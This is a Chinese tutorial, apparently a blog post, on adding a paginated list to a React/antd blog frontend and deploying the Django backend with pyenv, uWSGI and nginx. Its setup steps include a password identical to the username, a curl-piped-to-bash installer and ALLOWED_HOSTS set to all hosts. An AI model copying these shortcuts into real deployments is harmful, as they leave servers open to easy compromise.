import { BrowserRouter as Router, Switch, Route, Link } from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';
import Pub from './component/pub';

import { Menu, Icon, Layout } from 'antd';
import Profile from './component/profile';
import Detail from './component/detail';
import List from './component/list';
const { Header, Content, Footer } = Layout;

const Home = props => <h2>Home</h2>;
const About = props => <h2>About</h2>;
const Default = props => <h2>缺省显示</h2>;
const Always = props => <h2>blog ©2008 Created by Jasper</h2>;

class App extends React.Component {
  state = {
    current: 'home',
  };

  handleClick = e => {
    console.log('click ', e);
    this.setState({
      current: e.key,
    });
  };
  render() {
    return <Router>
      <Layout className="layout">
        <Header>
          <Menu onClick={this.handleClick}
            theme="dark"
            mode="horizontal"
            defaultSelectedKeys={[this.state.current]}
            style={{ lineHeight: '64px' }}
          // selectedKeys={[this.state.current]}
          >
            <Menu.Item key="home"><Link to="/"><Icon type="home" />主页</Link></Menu.Item>
            <Menu.Item key="login"><Link to="/login"><Icon type="login" />登录</Link></Menu.Item>
            <Menu.Item key="reg"><Link to="/reg"><Icon type="form" />注册</Link></Menu.Item>
            <Menu.Item key="pub"><Link to="/pub"><Icon type="edit" />写博客</Link></Menu.Item>
            <Menu.Item key="list"><Link to="/list"><Icon type="bars" />博客</Link></Menu.Item>
            <Menu.Item key="about"><Link to="/about">关于</Link></Menu.Item>
          </Menu>
        </Header>
        <Content style={{ padding: '10px 50px' }}>
          <div style={{ background: '#fff', padding: 24, minHeight: 280 }}>
            <Switch>
              <Route exact path={["/", '/index']} component={Home}></Route>
              <Route path="/login" component={Login}></Route>
              <Route path="/reg" component={Reg}></Route>
              <Route path="/about" component={About}></Route>
              <Route path="/profile" component={Profile}></Route>
              <Route path="/pub" component={Pub}></Route>
              <Route path="/list" component={List}></Route>
              <Route path="/posts/:id" component={Detail}></Route>
              <Route component={Default}></Route>
            </Switch>
          </div>
        </Content>
        <Footer style={{ textAlign: 'center' }}>
          <Route component={Always}></Route>
        </Footer>
      </Layout>
    </Router>
  }
}
render(<App />, document.getElementById('root'));

service/post.js 增加服务层列表方法list()

/*service/post.js*/
import axios from "../axios";
import { observable } from "mobx";
import { message } from 'antd';
import Cookies from 'js-cookie';

class PostService {
    @observable success = false;
    @observable post = {};
    @observable posts = {}; // 2个对象 posts pagination

    pub(title, content) {
        console.log('去处理', title, content); // Ajax axios xmlhttprequest

        axios.post({
            url:'/posts/',
            data:{title, content},
            config: {
                headers: {'X-CSRFToken': Cookies.get('csrftoken')} // 本域 HTTP_X_CSRFTOKEN
            }
        }).then(
            value => {
                console.log('成功了!!!!', value)
                message.info('博文提交成功');
                // 增强,确认是否跳转
                this.success = true;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }

    getToken() {
        axios.get({
            url:'/gettoken',
        }).then(
            value => {
                console.log('成功获取token', Cookies.get('csrftoken'))
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }
    getPost(id) {
        axios.get({url:'/posts/'+id}).then(
            value => {
                console.log('成功了', value);
                this.post = value.post || {} ;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }

    list() {
        axios.get({url:'/posts/'}).then(
            value => {
                console.log('成功了', value);
                this.posts = value || {} ;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }
}

const postService = new PostService();
export {postService}
List组件

component/list.js 列表组件

/*src/component/list.js */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { postService as service } from '../service/post';
import { observer } from 'mobx-react';
import { inject } from '../utils';
import { Card, Col, Empty, Row } from 'antd';
import { List, Typography } from 'antd';

@inject({ service })
@observer // observer 必须紧紧靠着组件
export default class L extends React.Component { // 缺省导出,改什么名字都可以
    constructor(props) {
        super(props);
        console.log(props); // props已经被react react-router改过了
        props.service.list();
    }

    render() {
        console.log('list render ~~~~~')
        const {posts:data=[], pagination={}}} = this.props.service.posts;
        console.log(data.length);
        console.log(pagination);
        return (
    <List
      header={<div>博客列表</div>}
      footer={<div>Footer</div>}
      bordered
      dataSource={data}
      renderItem={(item) => (
        <List.Item>
          <Link to={'/posts/' + item.id} >{item.title}</Link>
        </List.Item>
      )}
    />
        );
    }
}

List列表组件

  • bordered有边线
  • dataSource给定数据源
  • renderItem渲染每一行,给定一个一参函数迭代每一行
  • List.Item每一行的组件

使用Link组件增加链接

<List bordered dataSource = {data} 
    renderItem={item => (
        <List.Item>
            <Link to={'/posts/'+item.id}>{item.title}</Link>
        </List.Item>
    )}
/>

如果需要根据复杂的效果可以使用List.Item.Meta。

分页功能

Pagination分页组件 https://ant.design/components/pagination-cn

分页使用了Pagination组件,在L组件的render函数的List组件中使用pagination属性,这个属性放入一个pagination对象,有如下属性

  • current,当前页
  • pageSize, 页面内行数
  • total,记录总数
  • onChange,页码切换时调用,回调函数为=(pageNo,pageSize)=>{}=,即切换是获得当前页码和页内行数。

可参考https://ant.design/components/list-cn/#components-list-demo-vertical

查询字符串处理 https://developer.mozilla.org/zh-CN/docs/Web/API/URLSearchParams

  • 方法1 查询参数处理
    props.service.list(props.localtion.search);

list(qstr) {
    axios.get({url:'/posts/' + qstr}).then(
  • 方法2 查询参数处理
    let params = new URLSearchParams(props.location.search);
    props.service.list(params);

list(params) {
    axios.get({
        url:'/posts/',
        config:{
            'params':params
        }
    }).then(

修改component/list.js代码如下:

/*src/component/list.js */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { postService as service } from '../service/post';
import { observer } from 'mobx-react';
import { inject } from '../utils';
import { Card, Col, Empty, Row } from 'antd';
import { List, Typography } from 'antd';

@inject({ service })
@observer // observer 必须紧紧靠着组件
export default class L extends React.Component { // 缺省导出,改什么名字都可以
    constructor(props) {
        super(props);
        console.log(props); // props已经被react react-router改过了
        // 查询字符串
        let params = new URLSearchParams(props.location.search);
        props.service.list(params);
        // props.service.list(props.localtion.search);
    }

    render() {
        console.log('list render ~~~~~')
        const { posts: data = [], pagination = {} } = this.props.service.posts;
        const { page: current = 1, size: pageSize = 20, total } = pagination

        console.log(data.length);
        console.log(pagination);

        return (
            <List
                header={<div>博客列表</div>}
                bordered
                dataSource={data}
                renderItem={(item) => (
                    <List.Item>
                        <Link to={'/posts/' + item.id} >{item.title}</Link>
                    </List.Item>
                )}
                pagination={{
                    onChange: page => {
                        console.log(page);
                        let params = new URLSearchParams(this.props.location.search);
                        params.set('page', page);
                        this.props.service.list(params);
                    },
                    defaultCurrent:1,
                    current,
                    pageSize,
                    total
                }}
            />
        );
    }
}

修改service/post.js中的list方法

/*service/post.js*/
import axios from "../axios";
import { observable } from "mobx";
import { message } from 'antd';
import Cookies from 'js-cookie';

class PostService {
    @observable success = false;
    @observable post = {};
    @observable posts = {}; // 2个对象 posts pagination

    pub(title, content) {
        console.log('去处理', title, content); // Ajax axios xmlhttprequest

        axios.post({
            url:'/posts/',
            data:{title, content},
            config: {
                headers: {'X-CSRFToken': Cookies.get('csrftoken')} // 本域 HTTP_X_CSRFTOKEN
            }
        }).then(
            value => {
                console.log('成功了!!!!', value)
                message.info('博文提交成功');
                // 增强,确认是否跳转
                this.success = true;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }

    getToken() {
        axios.get({
            url:'/gettoken',
        }).then(
            value => {
                console.log('成功获取token', Cookies.get('csrftoken'))
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }
    getPost(id) {
        axios.get({url:'/posts/'+id}).then(
            value => {
                console.log('成功了', value);
                this.post = value.post || {} ;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }

    list(params) { // 无格式对象(plain object) 或URLSearchParmas对象
        axios.get({
            url:'/posts/',
            config:{
                'params':params
            }
        }).then(
            value => {
                console.log('成功了', value);
                this.posts = value || {} ;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }
}

const postService = new PostService();
export {postService}

但是鼠标左右两端发现上一页、下一页是英文,如何修改?国际化。

国际化

index.js修改如下(部分代码)

import { Menu, Icon, Layout, ConfigProvider } from 'antd';
import zhCN from 'antd/es/locale/zh_CN';

ReactDom.render(<ConfigProvider locale={zhCN}>
  <App /></ConfigProvider>, document.getElementById('root'));
/*src/index.js*/
import React from 'react';
import { render } from 'react-dom';
import { BrowserRouter as Router, Switch, Route, Link } from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';
import Pub from './component/pub';
import Profile from './component/profile';
import Detail from './component/detail';
import List from './component/list';

import { Menu, Icon, Layout, ConfigProvider } from 'antd';
const { Header, Content, Footer } = Layout;
import zhCN from 'antd/es/locale/zh_CN';

const Home = props => <h2>Home</h2>;
const About = props => <h2>About</h2>;
const Default = props => <h2>缺省显示</h2>;
const Always = props => <h2>blog ©2008 Created by Jasper</h2>;

class App extends React.Component {
  state = {
    current: 'home',
  };

  handleClick = e => {
    console.log('click ', e);
    this.setState({
      current: e.key,
    });
  };
  render() {
    return <Router>
      <Layout className="layout">
        <Header>
          <Menu onClick={this.handleClick}
            theme="dark"
            mode="horizontal"
            defaultSelectedKeys={[this.state.current]}
            style={{ lineHeight: '64px' }}
          // selectedKeys={[this.state.current]}
          >
            <Menu.Item key="home"><Link to="/"><Icon type="home" />主页</Link></Menu.Item>
            <Menu.Item key="login"><Link to="/login"><Icon type="login" />登录</Link></Menu.Item>
            <Menu.Item key="reg"><Link to="/reg"><Icon type="form" />注册</Link></Menu.Item>
            <Menu.Item key="pub"><Link to="/pub"><Icon type="edit" />写博客</Link></Menu.Item>
            <Menu.Item key="list"><Link to="/list"><Icon type="bars" />博客</Link></Menu.Item>
            <Menu.Item key="about"><Link to="/about">关于</Link></Menu.Item>
          </Menu>
        </Header>
        <Content style={{ padding: '10px 50px' }}>
          <div style={{ background: '#fff', padding: 24, minHeight: 280 }}>
            <Switch>
              <Route exact path={["/", '/index']} component={Home}></Route>
              <Route path="/login" component={Login}></Route>
              <Route path="/reg" component={Reg}></Route>
              <Route path="/about" component={About}></Route>
              <Route path="/profile" component={Profile}></Route>
              <Route path="/pub" component={Pub}></Route>
              <Route path="/list" component={List}></Route>
              <Route path="/posts/:id" component={Detail}></Route>
              <Route component={Default}></Route>
            </Switch>
          </div>
        </Content>
        <Footer style={{ textAlign: 'center' }}>
          <Route component={Always}></Route>
        </Footer>
      </Layout>
    </Router>
  }
}
render(<ConfigProvider locale={zhCN}>
  <App /></ConfigProvider>, document.getElementById('root'));

重构Axios

src/axios/index.js 合并get, post方法

/*src/axios/index.js*/
import axios from 'axios';

// axios.post axios.get proxy:/api/users/login -> rewrite http://localhost:8000/users/login
// baseURL:/api
export default class Axios {
    static config = {
        baseURL: '/api',
        timeout: 3000,
    }

    static post(params) { // {url:xxx, data:{}, config:{yyy:zzz}}
        return this.request(params, 'post');
    }
    static get(params) { // {url:xxx, params:{}, config:{yyy:zzz}}
        return this.request(params, 'get');
    }
    static request(params, method = 'get') {
        let config = {
            method, url: params.url
        };
        if (method === 'get') {
            config.params = params.params;
        }
        if (method === 'post' && params.data) {
            config.data = params.data;
        }

        config = Object.assign({}, this.config, config, params.config)
        return axios(config).then( // 返回一个全新的Promise对象
            response => { // 200. 一定要用箭头函数,否则this有问题
                const data = response.data;
                if (!data.code) {
                    // sucess
                    return data;  // 相当于 return Promise.resolve(data);
                } else {
                    // failed
                    return Promise.reject(data); // {code:1, msg:xxx}
                }
            }
        ).catch( // 失败给出失败的理由
            reason => {
                return Promise.reject(reason); // 自己调用
                // return Promise.reject('请求错误');
            }
        )
    }
}

项目部署

Django 打包

构建setup.py文件

https://packaging.python.org/tutorials/packaging-projects/#creating-setup-py

https://packaging.python.org/en/latest/guides/distributing-packages-using-setuptools/#setup-args

https://setuptools.pypa.io/en/latest/references/keywords.html

生成项目依赖插件版本信息

# 应用程序的根目录下生成
pip freeze >requirements

在使用 setup.py 之前,需要确保已经安装了 setuptools 模块。

pip install setuptools

构建setup.py文件(在应用程序根目录下面)

import setuptools
import glob

# print(setuptools.find_packages()) #['blog', 'post', 'user', 'post.migrations', 'user.migrations', 'user.templatetags']

# print(glob.glob('templates/*.html')) #['templates\\index.html']
# print(glob.glob('user/templates/*.html')) 
# print(glob.glob('**/*.html', recursive=True))

setuptools.setup(
    name="blog",
    version="1.0.1",
    description="blog project",
    author="abc",
    author_email="[email protected]",
    url="https://xuchangwei.com",
    # packages=['post', 'user', 'blog', 'user.templatetags'],
    packages=setuptools.find_packages(),
    py_modules=["messages", "manage"], # 单独.py文件打包,填写时去掉.py
    data_files=glob.glob('**/*.html', recursive=True) + ['requirements'],
    python_requires='>=3.6',
)

应用程序的跟目录下打包

python setup.py sdist
#python setup.py sdist --formats=gztar #gz  默认tar.gz格式

部署应用

在Linux系统中创建一个python虚拟环境目录,使用pyenv

安装pyenv

yum install git python-devel mysql-devel 
yum -y install gcc make patch gdbm-devel openssl-devel sqlite-devel readline-devel zlib-devel bzip2-devel

#python依赖,mysqlclient依赖
yum install python-devel mysql-devel

useradd python
echo python | passwd python --stdin
su - python

#进入python用户执行如下操作
curl -L https://github.com/pyenv/pyenv-installer/raw/master/bin/pyenv-installer | bash
cat <<\EOF>> ~/.bashrc
#command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"

#add pyenv
export PYENV_ROOT="$HOME/.pyenv"
[[ -d $PYENV_ROOT/bin ]] && export PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init - bash)"
eval "$(pyenv virtualenv-init -)"
EOF

source ~/.bashrc

#以后更新pyenv使用
pyenv update

pyenv install 3.6.6 -vv

准备pip配置文件

mkdir ~/.pip
$ vim ~/.pip/pip.conf
[global]
index-url = https://mirrors.aliyun.com/pypi/simple/

[install]
trusted-host=mirrors.aliyun.com

安装虚拟环境, 并应用打包文件

# 创建虚拟环境
pyenv virtualenv 3.6.6 blog366

# 创建项目目录
mkdir -p projects
cd projects 
tar xf blog-1.0.tar.gz
$ ln -sv blog-1.0 web
"web" -> "blog-1.0"
cd web
$ pwd
/home/python/projects/web

#local 本地设置
pyenv local blog366

# 安装mysql前一定要yum安装下面的依赖
sudo yum install git python-devel mysql-devel 

#安装依赖库
pip list
pip install -r requirements  #安装依赖包
sed -i -e 's/DEBUG.*/DEBUG = False/' -e 's/ALLOWED_HOSTS.*/ALLOWED_HOSTS = ["*"]/' blog/setting.py # 修改Django配置
#settings.py修改数据连接信息

#启动应用,用于测试,验证正常后可以停了
python manage.py runserver 0.0.0.0:9112 # 测试.

访问 http://ip:9112/posts/?page=2&size=2 成功返回数据,说明Django应用成功。

至此,Django应用部署完成。Django带了个开发用Web Server。生成环境不用,需要借助其他Server。

注意:ALLOWED_HOSTS=[“*”] 这是所有都可以访问,生产环境应指定具体可以访问的IP,而不是所有。

WSGI

Web Server Gateway Interface,是Python中定义的WSGI Server与应用程序的接口定义。

应用程序符合WSGI规范的Django框架负责,WSGI Server谁来做?

uWSGI

uWSGI是一个c语言的项目,提供一个WEB服务器,它支持WSGI协议,可以和Python的WGSI应用程序通信。

官方文档https://uwsgi-docs.readthedocs.io/en/latest/

uWSGI可以直接启动HTTP服务,接收HTTP请求,并调用Django应用。

安装

pip install uwsgi
uwsgi --help

uWSGI+Django部署

在Django项目根目录下,运行

uwsgi --http :8000 --wsgi-file blog/wsgi.py --stats :8001 --stats-http

# --http :8000 服务监听端口
#--stats :8001 监控服务状态
#--stats-http  可以通用浏览器访问服务状态

使用下面链接测试

运行正常。

  • 使用uwsgi启动项目(http协议启动) uwsgi --http 127.0.0.1:8889 --wsgi-file blog/wsgi.py
  • 使用uwsgi启动项目(uwsgi协议启动,二进制通信协议。速度快) uwsgi --socket 127.0.0.1:8889 --wsgi-file blog/wsgi.py

安装uwsgitop获取这个stat值。注意使用这个命令不要使用 --stats-http 选项。

pip install uwsgitop

uwsgi --http :8000 --wsgi-file blog/wsgi.py --stats :8001
uwsgitop --frequency 10 127.0.0.1:8001

React项目打包

rimraf递归删除文件,rm -rf

npm install rimraf --save-dev  #或者 yarn add rimraf --dev

在package.json中替换

  "scripts": {
      ...
"build": "rimraf dist && webpack -p --config webpack.config.prod.js"

编译

npm run build #或者 yarn run build 

编译成功。查看项目目录中的dist目录。dist目录中创建assets目录,将js文件放里面

将编译成功后的静态文件放入对应的web静态文件中即可(即nginx相应的web目录)

nginx uwsgi部署

tengine安装

淘宝提供的nginx

yum install gcc openssl-devel pcre-devel -y

version=3.10
wget http://tengine.taobao.org/download/tengine-${version}.tar.gz
tar xf tengine-${version}.tar.gz
cd tengine-${version}
./configure --help | grep wsgi

./configure # 第一步
make && make install # 第二步、第三步
cd /usr/local/nginx/ # 默认安装位置

或者使用openresty

http部署

nginx配置

  1. ^~ /api/ 左前缀匹配
  2. rewrite ^/api(/.*) $1 break; 重写请求的path
server {
        listen       8888 ;
        listen       [::]:8888 ;
        server_name  0.0.0.0 ;

        location ^~ /api/ {
           rewrite ^/api(/.*) $1 break;
           proxy_pass http://127.0.0.1:8889;
        }

        location / {
           root /data/web;
           index index.html;
        }

        error_page 404 /404.html;
            location = /40x.html {
        }

        error_page 500 502 503 504 /50x.html;
            location = /50x.html {
        }
    }

修改后启动nginx。

uwsgi部署

目前nginx和uwsgi直接使用的是HTTP通信,效率低。改为使用uwsgi通信。

使用uwsgi协议的命令行写法如下

uwsgi --socket 127.0.0.1:8889 --wsgi-file blog/wsgi.py

在nginx中配置uwsgi http://nginx.org/en/docs/http/ngx_http_uwsgi_module.html

server {
    listen       8888 ;
    listen       [::]:8888 ;
    server_name  0.0.0.0 ;

    location ^~ /api/ {
       rewrite ^/api(/.*) $1 break;
       #proxy_pass http://127.0.0.1:8889;
       include      uwsgi_params;
       uwsgi_pass   127.0.0.1:8889;
    }

    location / {
       root /data/web;
       index index.html;
    }

    error_page 404 /404.html;
        location = /40x.html {
    }

    error_page 500 502 503 504 /50x.html;
        location = /50x.html {
    }
}

重新加载nginx配置文件,成功运行。

nginx -t
nginx -s reload
uwsgi配置文件

本次pyenv的虚拟目录是/home/python/projects/web,将Django项目所有项目文件和目录放在这个目录下面。

uwsgi的配置文件blog.ini也放在这个目录中

配置   说明
socket=127.0.0.1:8889 -s, –socket 使用uwsgi协议通信
chdir = /home/python/projects/web   Django项目的根目录
wsgi-file = blog/wsgi.py   指定App文件,blog下wsgi.py
master -M, –master 启用master进程管理工作进程
processes = 4 -p,–processes 启用工作进程数
thread = 2   控制工作进程中的线程数

默认uwsgi启动单进程单线程。

blog.ini配置如下:

cd /home/python/projects/web

vim blog.ini
[uwsgi]
socket = 127.0.0.1:8889
chdir = /home/python/projects/web
wsgi-file = blog/wsgi.py
master = true
processes = 4
threads = 2

#启动服务
uwsgi blog.ini

至此,前后端分离的开发、动静分离的部署的博客项目大功告成!

参看

部署图

img_20250803_004404.png
  1. 浏览器通过互联网HTTP协议访问NGINX
  2. 静态内容(图片、JS、CSS、文件)都是Nginx负者提供WEB服务
  3. Nginx配置代理。可以死Http和Socket通信。本次使用uwsgi协议
  4. uWSGI服务程序提供uwsgi协议的支持,将从Nginx发来的请求封装后调用WSGI的Application。这个Application可能很复杂,有可能是基于Django框架编写。这个程序将获得请求信息。
  5. 通过Django的路由,将请求交给视图函数(类)处理,可能需要访问数据库数据,也可能使用了模板。最终数据返回给浏览器。

MVC设计模式

经典的MVC

User --request(HTTP,CLI,etc.)--> Controller <--data, demand--> Model(Database,WS,etc.)
User --request(HTTP,CLI,etc.)--> Controller --data--> View(Templates,layout) --response(HTML,RSS,XML,JSON,etc.)--> User
  • Controller控制器:负者接收用户请求,调用Model完成数据,调用view完成对用户的响应
  • Model模型:负责业务数据的处理
  • View视图:负责用户的交互界面

Django

user <--> django <--> url <--> View <--> Model
user <--> django <--> url <--> View <--> Template
  • Model层
    1. ORM建立对象关系映射,提供数据库操作
  • Template层
    1. 负责数据的可视化,使用HTML、CSS等构成模板,将数据应用到模板中,并返回给浏览器。
  • View层
    1. Django完成URL映射后,把请求交给View层的视图函数处理,调用Model层完成数据,如有必要调用Template层响应客户端,如果不需要,直接返回数据。
emacs

Emacs

org-mode

Orgmode

Donations

打赏

Copyright

© 2025 Jasper Hsu

Creative Commons

Creative Commons

Attribute

Attribute

Noncommercial

Noncommercial

Share Alike

Share Alike